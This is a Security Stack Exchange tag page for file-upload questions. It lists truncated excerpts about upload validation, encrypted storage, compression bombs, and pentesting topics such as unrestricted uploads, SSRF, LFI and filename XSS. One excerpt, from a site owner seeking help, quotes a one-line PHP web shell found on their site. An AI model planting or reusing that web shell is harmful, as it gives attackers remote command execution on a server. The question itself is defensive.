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Questions tagged [file-upload]

File upload means sending a file from a local system to a remote system such as a server or another client with the intent that the remote system should store a copy of the file being transferred.

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Does user uploaded image file to HTML input form pose a risk?

I have a site where I need to get a logo from the user, they can click the input form and upload only .jpeg or .png files. After this the file will stay client side and be used to automatically create ...
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2 votes
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116 views

Protection against JPEG compression bombs

There is a well-known threat named compression bombs. Such image formats as PNG and JPEG use compression methods, and therefore and in theory PNG/JPEG images might be a compression-bomb. I've found an ...
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What are the security concerns of embedding Base64-encoded images into an HTML document?

We are developing an MVC web-application in Django and having concerns about image uploading. First of all, here are our business requirements: Our users can upload images (like profile pictures, etc)...
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2 answers
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File Upload(what type of file)

While I was learning about file upload vulnerability one question come to my mind. What type of file do I use while hunting file upload vulnerability ? Do I need to detect which programming language ...
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1 answer
60 views

File sharing with compromised Windows machine

I want to connect a known to be compromised Windows machine to the network for file sharing, it has lots of pirated software installed therefor not secure. Can it be isolated so that nothing can ...
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How to design a secure file storage/sharing platform

As the title implies, I would like to design a secure file storage/sharing platform. This is an abstract design question, so details regarding programing languages or platforms are not particularly ...
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21 views

Sending logs with bug reports: how to defend against easy exploits like malicious file enlargement?

When a crash occurs or when a user reports a bug, I'd like to send my application's logs to a cloud service (Firebase). But I've just realised that there are tons of kindergarten level exploits. For ...
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Should I validate file types on server upload, and how?

I am trying to implement secure file uploads. I need to support various file types, including PDF, XLS, and XSL. I have implemented some basic controls, such as: Store files outside the web root ...
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What's the point in blocking content upload by extension?

In a web application I manage, we have installed an option to let the users to upload files. The files are stored directly in the database. The security department of the company have requested us to ...
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Does an insecure ftp connection compromise all other data transfers?

I am not a technical person. My company recently asked me to install FileZilla to transfer files to and from a server in my company. So I installed FileZilla and typed in the credentials my company ...
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59 views

How to find out what payloads are being uploaded when I am running a scan of remote website?

I have been running an Acunetix vulnerability scan of a remote website (containing 50 subdomains). I am not doing anything else on this system. However, my system is connected to a remote VPS via VPN, ...
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Possibility of arbitrary file upload where upload converted to png

Would a file upload function be vulnerable to code execution where the uploaded file is always converted to a PNG file by the application? For example, if one uploads shell.php and this file is ...
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1 answer
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TOCTOU (Time-of-check to time-of-use) possible without file system access?

I'm wondering if it's possible to exploit a TOCTOU vulnerability without having local access to file systems? For example, in the context of a user uploading a file to a webserver, is this timing ...
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1 answer
238 views

Uploading/writing server files via SSRF?

Say I've found a perfect SSRF vulnerability in a web application that lets me send web requests to any URL, any host, any port, any scheme. I can use the file:// scheme to get the contents of local ...
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1 vote
1 answer
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Need guidance on detecting how a hacked file got upload on my website [duplicate]

On my website I found a file containing this code <?php if(isset($_POST[z]))eval($_POST[z]);?> It's my understanding that the hacker is using this to execute any PHP command send via a POST ...
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2 answers
168 views

File Upload - scan in-memory or after saving

The web-application I'm working on will allow users to upload files (Word / PDF etc.). I intend to run a clamav scan on the files after upload before anything further is done with them. From a ...
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Django File Validation

I' m building a REST API with Django and Django Rest Framework. I allow users to upload images and videos using different subclasses of ModelSerializer. When a file is received, the server saves it to ...
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1 answer
118 views

Is there an encryption mechanism for binary data with expiration for rotating keys?

We have a web server with an application - there is a large data array attached to the application via a mount point. We have to fulfill the requirement of securing in-transit data and at-rest data. ...
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1 answer
730 views

Amazon AWS S3 Unrestricted File Upload

While I was pentesting a web application, I found out that files that are uploaded to the web application are stored in an AWS S3 instance. Based on my experience, when a web application needs to ...
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1 vote
1 answer
167 views

How can I make sure an image uploaded to my server is not harmful? [duplicate]

I would like to allow users of my app to upload images in different formats that other users can view (including webm videos). But I would also like to make sure that the images are actual images and ...
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1 vote
0 answers
619 views

NodeJS, unrestricted file upload, RCE [closed]

I'm testing on application which runs on NodeJS, and discovered unrestriced file upload vulnerability, path traversal is not possible. Uploaded file is visitable, I can upload .html to perform XSS ...
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1 answer
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Unrestricted file write in Java

Would it be possible to write a file to a directory outside of the uploads folder if the $ext variable is used controlled and unrestricted? The uploads directory is empty except for the freshly ...
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234 views

Anonymous video uploading on an internet host

How much video uploading could be trackable for some person who uses the Tor Browser for uploading video on YouTube or other video hosting services with low authorization and sign-up processing, like ...
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82 views

Should I change the default folder for uploads?

PHP 7 uses the default system folder (/tmp) to store uploaded files. PHP allows you to change the settings and change the upload destination directory. Some sites indicate to change this folder to ...
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126 views

Server Upload to presigned URL

I am writing a ReST service which enables user to get a tar archive of a set of requested documents. When the request succeeds, the service should upload the file to a pre-signed URL that points to an ...
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Is checking zip content on another PC enough to prevent data leak?

Let's say I have two kind of files on my Windows desktop - first are files that can be published and shared with other people, second kind is confidential and should remain private. To share files I ...
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2 answers
340 views

Path traversal in POST request?

Does it make sense to try path traversal on the filename value during a file upload request? Should I encode special characters in the POST request? For example POST [...] ----boundary Content-...
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3 votes
1 answer
177 views

Are there risks in user-uploaded .txt files sent as a string to PHP

I'm not sure if this question is within the scope of security.stackexchange or it would be more suitable on stackoverflow. Let me know if needed. I'm wetting my feet in PHP, and I've put together a ...
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1 vote
0 answers
230 views

How do you check if someone faked the last modified date or not? [closed]

I think one of my students faked the modified date of his word file. He's last modified date was exactly the deadline of 13:00:00 (even the seconds are zero). How do i figure this out?? I want to know ...
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1 answer
101 views

Cryptographic File Storage scheme

First of all,I am new to security as a whole and taking my first formal course on it.So sorry if any major errors are present. I had a scheme for remote file storage as an attempt to use my course ...
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2 votes
4 answers
214 views

LFI php://input returning initial argument?

TLDR: Trying to execute commands on site thats got a LFI vuln. So I am making my post request to my vulnerable site and import requests header = { 'User-Agent':'Mozilla/5.0 (Windows; U; ...
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3 votes
1 answer
535 views

Prevent Cross Site Scripting but still support HTML file upload

I have a web application where user can upload and view files. The user has a link next to the file (s)he has uploaded. Clicking on the link will open the file in the browser (if possible) or show the ...
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2 votes
1 answer
799 views

CVE-2017-15580: Getting code execution with upload

I'm testing a target with osTicket 1.7 for CVE-2017-15580. Instead of getting a shell, I'm trying to get the target to make an HTTP request to a temporary end-point. My temporary end-point is https://...
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1 vote
1 answer
196 views

sudo systemctl running a webserver a security risk?

On linux ami the only way to easily run systemctl for my server is by running sudo systemctl start node In the service: /etc/systemd/system/node.service sudo seems to be mandatory for the 'enable',...
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1 vote
1 answer
206 views

PHP execution with special characters in the end

I was trying to reproduce this vulnerability: https://www.exploit-db.com/exploits/49294 According to the explanation, it is possible to bypass a check in a Wordpress plugin by appending a special char ...
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1 vote
1 answer
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CVE-2019-14748 but the file is downloaded and open locally - can it be used for XSS?

I'm testing CVE-2019-14748 on an example.com with osTicket. I've uploaded a test.html with the basic <script> and <img> XSS payloads which run when a user opens test.html. However, in ...
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1 vote
2 answers
460 views

Uploading sensitive data, Should I user memoryStorage (buffer) or save and delete file?

I need to save very sensitive data from an Excelfile that the user uploads. The data will then be saved to mySQL. All is done in Node.js. Now I wonder what is the most secure way to upload the file. ...
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1 vote
1 answer
136 views

XSS injection in the name of a file to be sent

I found a reflected XSS in a POST request that sends a file to the web server. The HTTP POST Request The HTTP 200 OK Response When I want to try to insert document.cookie in the payload, the web ...
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4 votes
2 answers
226 views

Can an empty uploaded file cause any security issues?

The php.net page on the move_uploaded_file() function contains a User Contributed Note which says, Security tips you must know before use this function: First: make sure that the file is not empty. ...
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Handling file uploads securely in phpmailer/php

I have a lengthy HTML form with around 20-26 file uploads required and some of them are even multiple. I am really concerned about how secure it is. I would really like to have some secure solution to ...
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0 votes
1 answer
1k views

Nodejs-express: file upload vulnerability with txt files?

On nodejs-express, I need a file upload function for my website's bulletin board so that every user can upload and download files for each other. For security reasons, I use npm module 'mmmagic' for ...
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Unrestricted file upload in chat

I am currently doing a bug bounty program and found a possible file upload vulnerability, but I am not so sure about it. The vulnerability is on the chat function. In the chat function, users are ...
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1 vote
0 answers
489 views

File Upload Vulnerability SVG [closed]

I am currently doing a bug bounty program and was testing the company's file upload functionality. After meddling with the functionality for a while, I was able to change the extension of the uploaded ...
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1 vote
2 answers
406 views

Find path of file on website with randomized string in it

Users have the possibility to upload a sensitive personal file to a specific website. After uploading, only the user himself and the administrator of the website have the ability to download the file ...
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1 answer
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Is it possible for a website to get information about you through its upload feature?

Reddit has a new image upload feature that takes a very long time to work after you click submit-- as long as 30 seconds. It isn't caused by the upload itself; that happens very quickly. I don't know ...
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1 answer
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Encrypting file stores in s3

I am developing a system for storage of medical records. A person could upload image(s) or file(s). Since it is a medical record , it needs to be stored in encrypted form.Also I want that the files or ...
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1 vote
1 answer
147 views

Can a file upload function be vulnerable without it the file name getting passed?

From googling, a lot of file upload vulnerabilities rely on injecting something into the filename and also rely on the picture being stored on the server, is it safe to just do a post request of the ...
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3 answers
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Man In The Middle Attack On File Uploads

I am using a web service (call it X) which allows files to be uploaded to AWS S3. The way it works is that an initial call is made to X which then returns a list of file descriptors and also meta ...
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2 votes
1 answer
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XSS attack on websites that allows JS file upload?

Consider a website example.com that allows users to upload arbitrary JS files, that are then stored on the server and served to visitors with a JS content type. Could an attacker use this to perform ...
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1 vote
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Clickjacking and XSS on file upload input?

I reported a self-xss on file uploader input to a bug bounty company and they said that they will only accept it if i can find a good clickjacking exploit for that input. My question is: Is it ...
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